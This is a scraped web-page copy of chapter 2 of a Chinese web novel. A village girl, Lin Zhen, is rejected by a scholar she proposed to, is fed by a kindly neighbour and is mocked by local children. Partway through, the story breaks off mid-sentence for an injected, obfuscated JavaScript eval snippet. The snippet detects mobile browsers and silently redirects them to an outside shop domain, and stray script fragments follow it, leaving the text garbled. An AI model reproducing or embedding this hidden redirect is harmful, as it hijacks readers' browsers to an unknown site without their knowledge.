文趣网 > 其他小说 > 和病弱夫君生不出娃娃后 > 2. 第 2 章
    黄瑛白日里夸下海口,说林真一定会招婿成亲,其实心里也没有底。

    她蹲守在家门口左顾右盼,直到傍晚时分才见到林真回家的身影,赶忙拉进自家屋内询问这门亲事的情况。

    林真肚子饿了,人也恹恹,耷拉着脑袋将事情一五一十地告诉黄瑛。

    “什么?!那穷酸书生收下聘礼后,将你拒之门外?!”黄瑛拔高了声量,一脸为其感到不忿。

    原以为林真回得越晚,这亲事谈拢的胜算便越足,没想到修夫子也是个势利眼。

    “他真的好大的脸面,莲种可是你花了大价钱买来的,倘若他不收下,你拿到镇上去卖也能赚一番,那买卖的可是说了,这莲种可是出自仙门,只要能种出花来,从上到下,从里到外都是好东西。”

    林真觉得大娘说得有理,思索道,“他不要的话,我还能留给下一个。”

    在这个崇尚修仙的世道,只要有机缘得到一个奇珍异宝,就算是乞丐也能够一下子变成人上人,娶妻生子更不在话下。

    但落到林真头上,这人生大事怎就变得这么曲折呢?

    瞧上她的,她瞧不上;她瞧上的,没瞧上她。

    “气死了。”黄瑛摇着手里的葵扇,在院子里来回踱步,怒气蹭蹭地往上冒,“我还以为他是个读书人,讲礼数,我倒是看走眼了。”

    林真点头,又摆了摆头,存疑道,“但修夫子说,他以后会加倍还我。”

    “男人靠得住,母猪会上树,他若有诚意,看到聘礼就自觉上门了。”黄瑛摇着头越想越气,“不行不行!”

    她拉着林真的手就要向外走去,“我这就领你去讨个公道,哪有如此贪得无厌的人呀!”

    黄瑛拉了两把,身后的人纹丝不动,转头一看才发现林真苦着脸,摸着肚子不肯走。

    一顿不吃,林真饿得慌,她可怜兮兮道,“大娘,我饿了,要不明天再去吧。”

    村尾这几户熟络的人家都知道林真的性情,饿不得,饿了就走不动路。

    黄瑛只好败下阵来,一脸无奈,“行行行,大娘这就给你去下碗面。”

    狭小的灶房,灯火摇摆,林真扒着灶房的门,两眼巴巴地看着大娘热汤下面,香浓的猪油一下子化开,香飘四溢。

    临出锅时,黄瑛看了林真一眼,转头又抓了两把盐巴加了下去,一碗热腾腾的葱花猪油面就完成了。

    院里支了个四方桌,借着屋内的油灯光亮,林真识趣地搬了两张矮凳摆好,待黄大娘端上汤面,她便迫不及待地吃起来。

    林真爱吃,常常在家中捣鼓各种吃食,做多了也会给黄瑛分享,但黄瑛尝过几次后便敬而远之,都找借口搪塞过去。

    着实是林真的口味太重了,像是尝不出咸淡似的,常人觉得一勺盐便够,她得抓好几把。

    黄瑛看着林真吃得津津有味,眼底有几分怜爱,给她又是倒水,又是扇风,“咸度够吗?”

    “够的。”林真抬了抬头,圆乎的眼睛盛着水汪汪的笑意,毫不吝啬地夸道,“大娘做的面最好吃了。”

    林真环顾了一下四周,好奇问道,“叔呢?”

    “我让他去北坡树林里砍两块好木头回来,省得又去村头推牌九,整天没个正形。”

    黄瑛想了想,把白天发生的事给林真说了一遍,“我盯着奀叔把你的院门给安上了,但他的手艺差得很,那门一碰就抖个不停,我让你叔重新安扇门,小姑娘在家,还是要安全为上。”

    林真点点头,其实家里有只白毛野鸡看着,她还挺安心的。

    她把最后一口汤面咽下去,囫囵问道,“叔的脚能行吗?”

    “没事没事。”黄瑛爽朗地摆了摆手,“你叔年轻的时候人称‘天残脚’,腿是瘸了点,但他还是能干这点功夫的,当是让他活动活动。”

    黄瑛夫妇在草蜢村呆的年头比林真还要长,在她的印象中,古叔平时看到谁都会点头笑两下,为人随和。

    但是若有人欺负到大娘头上来,古叔腰间别着的刀就会带鞘地架在别人的脖子上。可林真不曾见过古叔亮刀。

    大娘说,古叔以前是杀猪的,现在不干了只把刀搁在腰间吓唬人,绝不出鞘。

    门外“砰砰”两声响起,似是重物落地的声音。

    黄瑛看了一眼,淡定说道,“应是你叔回来了。”

    两人一同到门外查看,古执已经麻利地将两块砍好的老榆木从板车上卸了下来,放到墙边靠着。

    “这木要阴干一段时日才能做门。”古执虽然一瘸一拐地走过来,但气息沉稳,一副完全不费力的样子。

    “累了吧,我给你擦擦汗。”黄瑛迎了上去,一边抚着他的背,一边把汗巾递给古执,“阿真家的门还能熬几天,到时再帮她弄好一点。”

    “哎,好咧。”

    古执从善如流地接过汗巾,在那嘴边绕着的一圈胡茬子上胡乱地擦了两把,朝林真笑着说道,“阿真这不是快要成亲了吗,放心!叔一定帮你把这门弄得风风光光的。”

    “哪壶不开提哪壶。”黄瑛不复温柔,一掌拍在古执的背上,宣泄着怨气道,“以后不许再提这事,那修夫子也不是什么好东西。”

    古执背上生痛,咧了一下嘴,忙不迭地应道,“好好好,我不提。”

    十足的耙耳朵模样,林真看着两人恩恩爱爱的场景,眼里露出几分艳羡。

    “对了,你们记得别往北坡的林子里去。”

    古执眼里忽地露出几分忧心,嘱咐道,“玉国兵败,谢国杀了不少高门大户的子女,尸体全扔到北坡的林子来了,可别到时冲撞官兵惹上是非。”

    黄瑛叹了一口气,不忍心道,“高门大户出身,可都是从小锦衣玉食的公子小姐,琴棋书画、规矩礼数,哪样都是花了心力栽培的,就这么……说杀就杀了,真是造孽呀。”

    “时势不由人。”古执安慰道,“我们只管得了自个的日子,别想太多。”

    林真深知当一个普通人,首先得要学会装聋作哑,只能做自己能力范围以内的事。

    她送走黄瑛两夫妇,一推开自家的门,“吱呀”的门声响个不停,两扇薄木板摇摇欲坠地打开,岌岌可危似地慢慢关上。

    白雉听到刺耳的声音,两脚站在红枣树上,单睁着一只眼,漫不经心地藐着林真,对她的晚归十分不满。

    林真今日自己都饱餐了几顿,却还未给白雉喂食,心里难免有些发虚。

    前些年,枣树上的麻蛰子越来越多,果子也不见结两个,林真便从后山抓了这只白雉回来捉虫。

    如今枣树上的虫没了,果子也结了,白雉也有了新的作用,成了看家护院的一把手。

    这个家除了林真,就只有白雉是活物了,只要是活的,就应该吃东西。

    她知道饿着肚子的滋味不好受,赶紧从小布包里掏出一个竹筒,打开塞子将虫子悉数倒了出来。

    家里的小院不大,一口井,一棵树,一个水缸便明了。

    胖乎乎的虫子在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17919734|213421||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    地上蠕动格外显眼,白雉锐利的眼睛一眯,像是看到天敌似的,扑腾着翅膀飞了下来。

    白雉的尖嘴迅速叼上虫子,一口一个,不一会功夫就一扫而光。

    物似主人形,白雉没有剩饭,林真满意地摸了摸它头顶两簇赤红色的羽毛以示表扬。

    “小白真乖,以后我有一口吃的,绝不会亏着你。”

    白雉怀疑地瞧了林真一眼,默不作声地飞回枣树上重新打盹。

    *

    翌日一早,黄瑛领着林真穿街过巷,打算找修夫子讨回聘礼,却发现邻里似乎都在捂着嘴看笑话。

    黄瑛偷摸着向林真低声问道,“修夫子拒绝你时,那门可是开着?”

    林真回想一下,确切地点点头,昨日她捧着莲花一路行至到修远的家,村里不少人也见着了。

    看到林真尚不自知的纯良模样,黄瑛悬着的心“啪嗒”一声跌落在地。

    比风跑得更快的,是邻里的闲言碎语。

    路过学堂时,三五个孩子背着书囊边跑边把手指搁在腮边,做着羞羞脸的动作,哈哈大笑地向林真唱起了打油诗。

    “阉鸡婆,不知羞,捧着莲花想拜堂;夫子看了甩甩袖,说你莫脏我学堂。”

    孩子的走位灵活得像蚯蚓一样,唱完便嘻嘻哈哈地跑进学堂,气得黄瑛看着他们的身影骂了一句又一句。

    “哪里来这么嘴碎的小兔崽子,我要告诉你们掌教,让你们个个都留堂,牙都没长齐就学人说是非,岂有此理。”

    林真此时仍有些懵,把打油诗想了一会,才知道诗里不知羞的阉鸡婆是自己。

    “他们说得不对。”林真开声辩驳道,“我没有不知羞。”

    反而她觉得自己诚意十足,那莲花的价值娶十个修远都绰绰有余。

    林真视线一抬,正好对上了不远处的柳月明,两人点头打了个招呼。

    身侧的柳瑞儿一见着林真,脱开她娘的手,脑袋晃着两个小髻跑了过来,红扑扑的脸蛋透露着稚气。

    她扭捏了一下,牵住林真的手,虎头虎脑地安慰道,“阿真,你别伤心,我娘说,女子不必靠男子也能撑起一片天,实在不行,你等我长大……”

    “瑞儿!”

    柳月明快走了两步打断了孩子的话,拍了拍她的肩膀,温柔地催促道,“不用陪娘了,你再不进学堂,夫子该罚你了。”

    “哦……”柳瑞儿长长地应了一声,挥着手不舍地林真告别,“阿真,再见。”

    林真看着三步两回头的娃娃,双眼发光,喜滋滋地挥手回应,“瑞儿,再见。”

    “这下真是人尽皆知了。”黄瑛摇了摇头,如今总算明了这四面八方看笑话的邻里是怎么回事了。

    “这事在孩子之间传得快,我也是从瑞儿嘴里才得知。”柳月明瞧了一眼林真的脸色,宽慰道,“是……修夫子没有福气,天下男子千千万,你别介怀。”

    林真收回视线摇了摇头,神情变得落寞,“是我低估成亲这事有多难。”

    其实对于拒亲一事,心里倒也没有多伤心,只不过成不了亲,就不可能有瑞儿那样的娃娃。

    “这门亲事没了就没了,没什么大不了的,但做人不能不厚道呀,总要把聘礼还回来不是。”

    黄瑛接了话,向柳月明打听,“修夫子今日可有来学堂?”

    如若来了,黄瑛这架势可是打算冲进去,当着那么多圣贤先生面前,好好跟修夫子掰扯一番,什么是为人师表,以身作则。